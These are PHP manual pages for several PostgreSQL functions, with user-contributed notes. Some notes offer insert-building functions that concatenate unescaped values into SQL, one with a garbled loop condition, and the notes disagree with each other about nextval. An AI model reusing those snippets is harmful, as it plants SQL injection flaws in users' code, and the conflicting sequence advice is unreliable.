text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com 03-May-2003 12:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.
pg_field_type_oid
pg_free_result
PostgreSQL Functions


Free result memory

pg_field_type
pg_get_notify
PostgreSQL Functions
PHP Manual

pg_free_result

(PHP 4 >= 4.2.0, PHP 5)

pg_free_result — Free result memory

Description

bool pg_free_result ( resource $result )

pg_free_result() frees the memory and data associated with the specified PostgreSQL query result resource.

This function need only be called if memory consumption during script execution is a problem. Otherwise, all result memory will be automatically freed when the script ends.

Note:

This function used to be called pg_freeresult().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_free_result() example

<?php
$db = pg_connect("dbname=users user=me") || die();

$res = pg_query($db, "SELECT 1 UNION ALL SELECT 2");

$val = pg_fetch_result($res, 1, 0);

echo "First field in the second row is: ", $val, "\n";

pg_free_result($res);
?>

The above example will output:

First field in the second row is: 2

See Also

  • pg_query() - Execute a query
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.

User Contributed Notes

There are no user contributed notes for this page.
pg_field_type
pg_get_notify
PostgreSQL Functions


Gets SQL NOTIFY message

pg_free_result
pg_get_pid
PostgreSQL Functions
PHP Manual

pg_get_notify

(PHP 4 >= 4.3.0, PHP 5)

pg_get_notify — Gets SQL NOTIFY message

Description

array pg_get_notify ( resource $connection [, int $result_type ] )

pg_get_notify() gets notifications generated by a NOTIFY SQL command. To receive notifications, the LISTEN SQL command must be issued.

Parameters

connection

PostgreSQL database connection resource.

result_type

An optional parameter that controls how the returned array is indexed. result_type is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, pg_get_notify() will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH, the default, will return both numerical and associative indices.

Return Values

An array containing the NOTIFY message name and backend PID. Otherwise if no NOTIFY is waiting, then FALSE is returned.

Examples

Example #1 PostgreSQL NOTIFY message

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

// Listen 'author_updated' message from other processes
pg_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify) {
  echo "No messages\n";
} else {
  print_r($notify);
}
?>

See Also

  • pg_get_pid() - Gets the backend's process ID

User Contributed Notes

There are no user contributed notes for this page.
pg_free_result
pg_get_pid
PostgreSQL Functions


Gets the backend's process ID

pg_get_notify
pg_get_result
PostgreSQL Functions
PHP Manual

pg_get_pid

(PHP 4 >= 4.3.0, PHP 5)

pg_get_pid — Gets the backend's process ID

Description

int pg_get_pid ( resource $connection )

pg_get_pid() gets the backend's (database server process) PID. The PID is useful to determine whether or not a NOTIFY message received via pg_get_notify() is sent from another process or not.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The backend database process ID.

Examples

Example #1 PostgreSQL backend PID

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

// Backend process PID. Use PID with pg_get_notify()
$pid = pg_get_pid($conn);
?>

See Also

  • pg_get_notify() - Gets SQL NOTIFY message

User Contributed Notes

There are no user contributed notes for this page.
pg_get_notify
pg_get_result
PostgreSQL Functions


Get asynchronous query result

pg_get_pid
pg_host
PostgreSQL Functions
PHP Manual

pg_get_result

(PHP 4 >= 4.2.0, PHP 5)

pg_get_result — Get asynchronous query result

Description

resource pg_get_result ([ resource $connection ] )

pg_get_result() gets the result resource from an asynchronous query executed by pg_send_query(), pg_send_query_params() or pg_send_execute().

pg_send_query() and the other asynchronous query functions can send multiple queries to a PostgreSQL server and pg_get_result() is used to get each query's results, one by one.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The result resource, or FALSE if no more results are available.

Examples

Example #1 pg_get_result() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

See Also

  • pg_send_query() - Sends asynchronous query

User Contributed Notes

Marko Tiikkaja 25-Oct-2008 05:14
william at 25thandClement dot com said: "There is no way to poll/wait for a notification to come in. .."
Yes, there is. If there is a query in progress, pg_get_result() will block and return the result of that query when it's complete.
william at 25thandClement dot com 27-Jan-2005 03:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.
pg_get_pid
pg_host
PostgreSQL Functions


Returns the host name associated with the connection

pg_get_result
pg_insert
PostgreSQL Functions
PHP Manual

pg_host

(PHP 4, PHP 5)

pg_host — Returns the host name associated with the connection

Description

string pg_host ([ resource $connection ] )

pg_host() returns the host name of the given PostgreSQL connection resource is connected to.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the name of the host the connection is to, or FALSE on error.

Examples

Example #1 pg_host() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection

User Contributed Notes

mark at redbrick dot dcu dot ie 24-Mar-2003 06:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
    $pgsql_conn = pg_connect("dbname=mark host=localhost");

    if ($pgsql_conn) {
        print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
    } else {
        print pg_last_error($pgsql_conn);
        exit;
    }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark
pg_get_result
pg_insert
PostgreSQL Functions


Insert array into table

pg_host
pg_last_error
PostgreSQL Functions
PHP Manual

pg_insert

(PHP 4 >= 4.3.0, PHP 5)

pg_insert — Insert array into table

Description

mixed pg_insert ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_insert() inserts the values of assoc_array into the table specified by table_name. If options is specified, pg_convert() is applied to assoc_array with the specified options.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table into which to insert rows. The table table_name must at least have as many columns as assoc_array has elements.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the values of those fields that are to be inserted.

options

Any number of PGSQL_CONV_OPTS, PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_insert() example

<?php
  $dbconn = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $res = pg_insert($dbconn, 'post_log', $_POST);
  if ($res) {
      echo "POST data is successfully logged\n";
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

phpuser at ego dot gen dot nz 16-Dec-2011 09:12
This function cannot be used to insert a record with only default values - i.e. with an assoc_array of array()
Anonymous 13-Oct-2008 06:06
it seems to fail silently if you try to insert somehting with a mis-named column
jsnell at e-normous dot com 27-Sep-2007 12:49
If you need schema support, this function will do something similar to pg_insert:

function pg_insert_with_schema($connection, $table, $updates)
{
 $schema = 'public';
 if (strpos($table, '.') !== false)
    list($schema, $table) = explode('.', $table);

    if (count($updates) == 0) {
        $sql = "INSERT INTO $schema.\"$table\" DEFAULT VALUES";
            return pg_query($sql);
        } else {
 $sql = "INSERT INTO $schema.\"$table\" ";

 $sql .= '("';
 $sql .= join('", "', array_keys($updates));
 $sql .= '")';

 $sql .= ' values (';
 for($i = 0; $i < count($updates); $i++)
   $sql .= ($i != 0? ', ':'').'$'.($i+1);
 $sql .= ')';
 return pg_query_params($connection, $sql, array_values($updates));
 }
}
excalibur at nospam dot icehouse dot net 16-Oct-2006 08:06
Today at work I isolated a problem I was having with this function to how I was formatting the date.  I was assigning the date in my code as follows:

$today = date( "Ymd" ); // ISO 8601

This format is acceptable to PostgreSQL, as verified by their documentation and buy tests using psql.  However, to make it work in my code, I had to make the following change:

$today = date( "Y-m-d" ); // also ISO 8601 format
ANDYCHR17 at HOTMAIL dot COM 05-May-2006 02:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net 14-Feb-2005 07:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl 23-May-2004 06:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
    if (is_bool($values[$i])) {
      $values[$i] = $values[$i]?'true':'false';
    } elseif (is_null($values[$i])) {
      $values[$i] = 'NULL';
    } elseif (is_string($values[$i])) {
      $values[$i] = "'" . addslashes($values[$i]) . "'";
    } elseif (!is_numeric($values[$i])) {
      return false;
    }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
    ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com 21-Jan-2004 08:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
                $strn .= "$name,";
                $strv .= ($value ? "true":"false") . ",";
                continue;
        };

       if(is_string($value)) {
                $strn .= "$name,";
                $strv .= "'$value',";
                continue;
        }
       if (!is_null($value) and ($value != "")) {
                $strn .= "$name,";
                $strv .= "$value,";
                continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com 16-Jul-2003 11:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

    $str = "insert into $table (";
    while(list($name,$value) = each($array)) {
        $str .= "$name,";
    }
    $str[strlen($str)-1] = ')';
    $str .= " values (";
    reset($array);
    while(list($name,$value) = each($array)) {
        if(is_string($value))
            $str .= "'$value',";
        else
            $str .= "$value,";
    }
    $str[strlen($str)-1] = ')';
    $str .= ";"    ;

    return $str;

   }
pg_host
pg_last_error
PostgreSQL Functions


Get the last error message string of a connection

pg_insert
pg_last_notice
PostgreSQL Functions
PHP Manual

pg_last_error

(PHP 4 >= 4.2.0, PHP 5)

pg_last_error — Get the last error message string of a connection

Description

string pg_last_error ([ resource $connection ] )

pg_last_error() returns the last error message for a given connection.

Error messages may be overwritten by internal PostgreSQL (libpq) function calls. It may not return an appropriate error message if multiple errors occur inside a PostgreSQL module function.

Use pg_result_error(), pg_result_error_field(),
pg_result_status() and
pg_connection_status() for better error handling.

Note:

This function used to be called pg_errormessage().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the last error message on the given connection, or FALSE on error.

Examples

Example #1 pg_last_error() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Query that fails
  $res = pg_query($dbconn, "select * from doesnotexist");

  echo pg_last_error($dbconn);
?>

See Also

  • pg_result_error() - Get error message associated with result
  • pg_result_error_field() - Returns an individual field of an error report.

User Contributed Notes

Tamas Bolner 26-Aug-2010 10:48
From a practical view there are two types of error messages when using transactions:

-"Normal" errors: in this case, the application should stop the current process and show an error message to the user.

-Deadlock errors. This shows that the deadlock detection process of PostgreSQL found a circle of dependency, and broke it by rolling back the transaction in one of the processes, which gets this error msg. In this case, the application should not stop, but repeat the transaction.

I found no discrete way to find out which case are we dealing with. This interface doesn't support error codes, so we have to search for patterns in the message text.

Here is an example for PostgreSQL database connection class. It throws a PostgresException on "normal" errors, and DependencyException in the case of a broken deadlock, when we have to repeat the transaction.

postgres.php:
<?php
class PostgresException extends Exception {
    function __construct($msg) { parent::__construct($msg); }
}

class DependencyException extends PostgresException {
    function __construct() { parent::__construct("deadlock"); }
}

class pg {
    public static $connection;

    private static function connect() {
        self::$connection = @pg_connect("dbname=foodb user=foouser password=foopasswd");
        if (self::$connection === FALSE) {
            throw(new PostgresException("Can't connect to database server."));
        }
    }

    public static function query($sql) {
        if (!isset(self::$connection)) {
            self::connect();
        }

        $result = @pg_query(self::$connection, $sql);
        if ($result === FALSE) {
            $error = pg_last_error(self::$connection);
            if (stripos($error, "deadlock detected") !== false) throw(new DependencyException());

            throw(new PostgresException($error.": ".$sql));
        }

        $out = array();
        while ( ($d = pg_fetch_assoc($result)) !== FALSE) {
            $out[] = $d;
        }

        return $out;
    }
}
?>

It should be used in this way:

test.php:
<?php
include("postgres.php");

do {
    $repeat = false;
    try {
        pg::query("begin");

        ...

        $result = pg::query("SELECT * FROM public.kitten");

        ...

        pg::query("commit");
    }
    catch (DependencyException $e) {
        pg::query("rollback");
        $repeat = true;
    }
} while ($repeat);
?>

The normal errors should be caught at the frontend.

Tamas
pg_insert
pg_last_notice
PostgreSQL Functions


Returns the last notice message from PostgreSQL server

pg_last_error
pg_last_oid
PostgreSQL Functions
PHP Manual

pg_last_notice

(PHP 4 >= 4.0.6, PHP 5)

pg_last_notice — Returns the last notice message from PostgreSQL server

Description

string pg_last_notice ( resource $connection )

pg_last_notice() returns the last notice message from the PostgreSQL server on the specified connection. The PostgreSQL server sends notice messages in several cases, for instance when creating a SERIAL column in a table.

With pg_last_notice(), you can avoid issuing useless queries by checking whether or not the notice is related to your transaction.

Notice message tracking can be set to optional by setting 1 for pgsql.ignore_notice in php.ini.

Notice message logging can be set to optional by setting 0 for pgsql.log_notice in php.ini. Unless pgsql.ignore_notice is set to 0, notice message cannot be logged.

Parameters

connection

PostgreSQL database connection resource.

Return Values

A string containing the last notice on the given connection, or FALSE on error.

Changelog

Version | Description
4.3.0 | This function is now fully implemented. Earlier versions ignores database connection parameter.
4.3.0 | The pgsql.ignore_notice and pgsql.log_notice php.ini directives were added.
4.0.6 | PHP 4.0.6 has problem with notice message handling. Use of the PostgreSQL module with PHP 4.0.6 is not recommended even if you are not using pg_last_notice().

Examples

Example #1 pg_last_notice() example

<?php
  $pgsql_conn = pg_connect("dbname=mark host=localhost");

  $res = pg_query("CREATE TABLE test (id SERIAL)");

  $notice = pg_last_notice($pgsql_conn);

  echo $notice;
?>

The above example will output:

CREATE TABLE will create implicit sequence "test_id_seq" for "serial" column "test.id"

See Also

  • pg_query() - Execute a query
  • pg_last_error() - Get the last error message string of a connection

User Contributed Notes

There are no user contributed notes for this page.
pg_last_error
pg_last_oid
PostgreSQL Functions


Returns the last row's OID

pg_last_notice
pg_lo_close
PostgreSQL Functions
PHP Manual

pg_last_oid

(PHP 4 >= 4.2.0, PHP 5)

pg_last_oid — Returns the last row's OID

Description

string pg_last_oid ( resource $result )

pg_last_oid() is used to retrieve the OID assigned to an inserted row.

OID field became an optional field from PostgreSQL 7.2 and will not be present by default in PostgreSQL 8.1. When the OID field is not present in a table, the programmer must use pg_result_status() to check for successful insertion.

To get the value of a SERIAL field in an inserted row, it is necessary to use the PostgreSQL CURRVAL function, naming the sequence whose last value is required. If the name of the sequence is unknown, the pg_get_serial_sequence PostgreSQL 8.0 function is necessary.

PostgreSQL 8.1 has a function LASTVAL that returns the value of the most recently used sequence in the session. This avoids the need for naming the sequence, table or column altogether.

Note:

This function used to be called pg_getlastoid().

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

A string containing the OID assigned to the most recently inserted row in the specified connection, or FALSE on error or no available OID.

Examples

Example #1 pg_last_oid() example

<?php
  $pgsql_conn = pg_connect("dbname=mark host=localhost");

  $res1 = pg_query("CREATE TABLE test (a INTEGER) WITH OIDS");

  $res2 = pg_query("INSERT INTO test VALUES (1)");

  $oid = pg_last_oid($res2);
?>

See Also

  • pg_query() - Execute a query
  • pg_result_status() - Get status of query result

User Contributed Notes

Volodymyr Volynets 27-Apr-2011 09:14
Hi,

Version 9 supports the optional RETURNING clause causes INSERT to compute and return value(s) based on each row actually inserted. This is primarily useful for obtaining values that were supplied by defaults, such as a serial sequence number. However, any expression using the table's columns is allowed. The syntax of the RETURNING list is identical to that of the output list of SELECT.

If the UPDATE command contains a RETURNING clause, the result will be similar to that of a SELECT statement containing the columns and values defined in the RETURNING list, computed over the row(s) updated by the command.

Basically you can fetch all updated or inserted rows from the resource like if you executed SELECT statement.
jcvpalma at gmail dot com 16-Apr-2009 01:29
Hi,

I solved this problem make a function that returns my last inserted id:

<?php
function pg_last_inserted_id($con, $table){

        #make the initial query
        $sql = "SELECT * FROM " . $table;
        #execute
        $ret = pg_query($con, $sql);
        #get the field name
        $campoId = pg_field_name($ret, 0);

        #change the query, using currval()
        $sql = "SELECT currval('".$table."_".$campoId."_seq')";

        #exec
        $retorno =pg_query($con, $sql);

        if(pg_num_rows($ret)>0){
            #array
            $s_dados = pg_fetch_all($retorno);

            #vars
            extract($s_dados[0],EXTR_OVERWRITE);

            return $currval;

        } else {
            #case error, returns false
            return false;
        }
?>

fun =)
malyszg at o2 dot pl 09-May-2008 02:59
//function which return last row ID. It works like mysqli_insert_id() function
function pg_insert_id($pg,$query){// $pg - string connection, $query - sql command
$regExp = preg_match_all("/nextval\('([a-zA-Z0-9_]+)'\)/",$query,$array);
$sequence = $array[1][0];
$select = "SELECT currval('$sequence')";
$load = pg_query($pg,$select);
$id = pg_fetch_array($load,null,PGSQL_NUM);
return $id[0];
}

$connect = pg_connect("host dbname user password");
$insert = "Insert into klienci Values(nextval('autonumerowanie'),'Krzysztof','Nowak')";
$wykonaj = pg_query($connect,$insert);
$lastID = pg_insert_id($connect,$insert);
/*call pg_insert_id function with two arguments.
First argument is a string connection. Second argument is a SQL statement */
echo $lastID;
kevin at stormtide dot ca 06-Jun-2006 03:10
I am afraid that the editor is misleading people here.

QUOTE "Editor's Note: If another record is inserted after the nextval is obtained and before you [sic: execute] the INSERT query this code will fail.  This should not be done on busy sites."

This is not correct. A sequence is a multi-session safe table-like structure in postgresql.

From the postgresql manual for nextval()

"Advance the sequence object to its next value and return that value. This is done atomically: even if multiple sessions execute nextval concurrently, each will safely receive a distinct sequence value. "

Since the default for a serial column during an insert is to call nextval(), it will also get a unique identifier.

Sequences are _not_ defined as being linearly ordered however and may contain holes and return values out of order (due to cache settings). They will, however, be unique 100% of the time.

The following code is CORRECT and thread safe WITHOUT a transaction on even the most loaded server.

QUOTE (with corrections) "

$res=pg_query("SELECT nextval('foo_key_seq') as key");
$row=pg_fetch_array($res, 0);
$key=$row['key'];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");

"

In this case the value retrieved for $key will never again be retrieved by the database under any circumstance. Period. Ever.

Hope that clears this up.
php at antimatters dot oc dot uk 31-May-2006 09:24
Remember:  Although OID is somewhat unique (as others have mentioned), the OID isn't entirely unique.  Once it reaches the extent of the datatype it will go back to 0 and start again.

I suggest either using transactions or have another set of identifiers which you can use together to identify the inserted row... such as user_id and timestamp (which you've manually created, not using NOW)... If it's for something human based, a user would not be able to realistically click two submit buttons in the same second... if you do get that happening, then maybe you could assume it was spam.

Just a thought
Jonathan Bond-Caron 30-May-2005 08:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
paul at paulmcgarry dot com 15-Dec-2004 09:20
I do not understand the editors notes in this section.
They seem to suggest that you can't safely use nextval to get an identifier from a sequence that will be unique accross all users/sessions. That is categorically false.

nextval will pull a number from a sequence and that number is guarunteed to be distinct accross all sessions.

To quote the Postgres Docs:
"nextval

Advance the sequence object to its next value and return that value. This is done atomically: even if multiple sessions execute nextval concurrently, each will safely receive a distinct sequence value."
wes at softweyr dot com 28-Oct-2004 11:02
There seems to be some confusion about the PostgreSQL currval() function in these notes.  currval() isn't a general-purpose access to sequences, it has a very specific function.  From the PostgreSQL User's Guide (v 7.3.2) section 6.11:

currval - Return the value most recently obtained by nextval in the current session.  (An error is reported if nextval has never been called for this sequence in this session.)  Notice that because this is returning a session-local value, it gives a predictable answer even if other sessions are executing nextval meanwhile.

So wrapping a nextval (or other sequence insert) followed by currval in a transaction is not necessary.
php at developersdesk dot com 29-May-2004 05:46
If you want to get the value of a sequence out of pgsql, similar to mysql_insert_id(), try this:

<?

pg_query( $connection, "BEGIN TRANSACTION" );
pg_query( $connection, $your_insert_query );
$result = pg_query( $connection, "SELECT CURRVAL('$seq_name') AS seq" );
$data = pg_fetch_assoc( $result );
pg_free_result( $result );
pg_query( $connection, "COMMIT TRANSACTION" );
echo "Insert sequence value: ", $data[ 'seq' ], "<BR>\n";

?>

Note the transaction that groups the INSERT query and the query that obtains the sequence value.  If you are already in a transaction, don't start another.  Also be aware that CURRVAL only works after an INSERT query, and always returns the value for the last INSERT for your connection, even if someone else has done an INSERT after you.

See:
http://www.postgresql.org/docs/7.3/interactive/functions-sequence.html
talk_biz at yahoo dot com 19-Apr-2004 03:28
The sequence functions for autonumbering  can be read like an ordinary table.
ex. "select * from request_id_seq";
which returns all the current values for the sequence.  To get the last id number entered use
"select last_value from request_id_seq";
To have the query pull the values of the record with the last id, use a query with a subselect statement.
ex. "SELECT id, date_requested, time_requested, requestor_name, requestor_email, requestor_phone
FROM request where id = (select last_value from request_id_seq)";
luke at prgmr dot com 12-Apr-2004 01:04
responding to a previous  editor's note-

No, the user is correct. when you do a 'select nextval' from a sequence, that increments the sequence.  If someone else does a 'select nextval' or inserts into the table with a 'null' value for the field defaulted to a nextval, they will get the next value-  thus if another record is inserted after the nextval and before the insert, that next record will still get a different value from the sequence.

Am I wrong?

[Editor's Note: If another record is inserted after the nextval is obtained and before you the INSERT query this code will fail.  This should not be done on busy sites.]

Especially now with an optional oid field, getting an implicit serial key is harder than ever. The solution is to get the serial key first, and then use that value in an insert:

<?
pg_query($conn, 'CREATE TABLE foo (key SERIAL, foo TEXT)');
$res=pg_query("SELECT nextval('foo_key_seq') as key");
$key=pg_fetch_array($res, 0);
$key=$key[key];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");
?>

Hope this helps...
gaagaagui at aiagrp dot net 26-Feb-2004 02:51
note the following:
"The oid type is currently implemented as an unsigned four-byte integer. Therefore, it is not large enough to provide database-wide uniqueness in large databases, or even in large individual tables. So, using a user-created table's OID column as a primary key is discouraged. OIDs are best used only for references to system tables."
and
"OIDs are 32-bit quantities and are assigned from a single cluster-wide counter. In a large or long-lived database, it is possible for the counter to wrap around. Hence, it is bad practice to assume that OIDs are unique, unless you take steps to ensure that they are unique."
from: http://www.phphub.com/postgres_manual/index.php?p=datatype-oid.html
julian at e2-media dot co dot nz 25-Aug-2003 11:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk 15-May-2003 11:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr 26-Apr-2003 07:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
      $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net 03-Mar-2003 06:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.
bens at effortlessis dot com 08-Feb-2003 05:39
[Editor's Note: If another record is inserted after the nextval is obtained and before you the INSERT query this code will fail.  This should not be done on busy sites.]

Especially now with an optional oid field, getting an implicit serial key is harder than ever. The solution is to get the serial key first, and then use that value in an insert:

<?
pg_query($conn, 'CREATE TABLE foo (key SERIAL, foo TEXT)');
$res=pg_query("SELECT nextval('foo_key_seq') as key");
$key=pg_fetch_array($res, 0);
$key=$key[key];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");
?>

Hope this helps...
juancri at tagnet dot org 30-Oct-2002 10:29
Note that:

- OID is a unique id. It will not work if the table was created with "No oid".

- MySql's "mysql_insert_id" receives the conection handler as argument but PostgreSQL's "pg_last_oid" uses the result handler.
pg_last_notice
pg_lo_close
PostgreSQL Functions


Close a large object

pg_last_oid
pg_lo_create
PostgreSQL Functions
PHP Manual

pg_lo_close

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_close — Close a large object

Description

bool pg_lo_close ( resource $large_object )

pg_lo_close() closes a large object. large_object is a resource for the large object from pg_lo_open().

To use the large object interface, it is necessary to enclose it within a transaction block.

Note:

This function used to be called pg_loclose().

Parameters

result

PostgreSQL large object (LOB) resource, returned by pg_lo_open().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_lo_close() example

<?php
   $database = pg_connect("dbname=jacarta");
   pg_query($database, "begin");
   $oid = pg_lo_create($database);
   echo "$oid\n";
   $handle = pg_lo_open($database, $oid, "w");
   echo "$handle\n";
   pg_lo_write($handle, "large object data");
   pg_lo_close($handle);
   pg_query($database, "commit");
?>

See Also

  • pg_lo_open() - Open a large object
  • pg_lo_create() - Create a large object
  • pg_lo_import() - Import a large object from file

User Contributed Notes

There are no user contributed notes for this page.
pg_last_oid
pg_lo_create
PostgreSQL Functions


Create a large object

pg_lo_close
pg_lo_export
PostgreSQL Functions
PHP Manual

pg_lo_create

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_create — Create a large object

Description

int pg_lo_create ([ resource $connection [, mixed $object_id ]] )
int pg_lo_create ( mixed $object_id )

pg_lo_create() creates a large object and returns the OID of the large object. PostgreSQL access modes INV_READ, INV_WRITE, and INV_ARCHIVE are not supported, the object is created always with both read and write access. INV_ARCHIVE has been removed from PostgreSQL itself (version 6.3 and above).

To use the large object interface, it is necessary to enclose it within a transaction block.

Instead of using the large object interface (which has no access controls and is cumbersome to use), try PostgreSQL's bytea column type and pg_escape_bytea().

Note:

This function used to be called pg_locreate().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

object_id

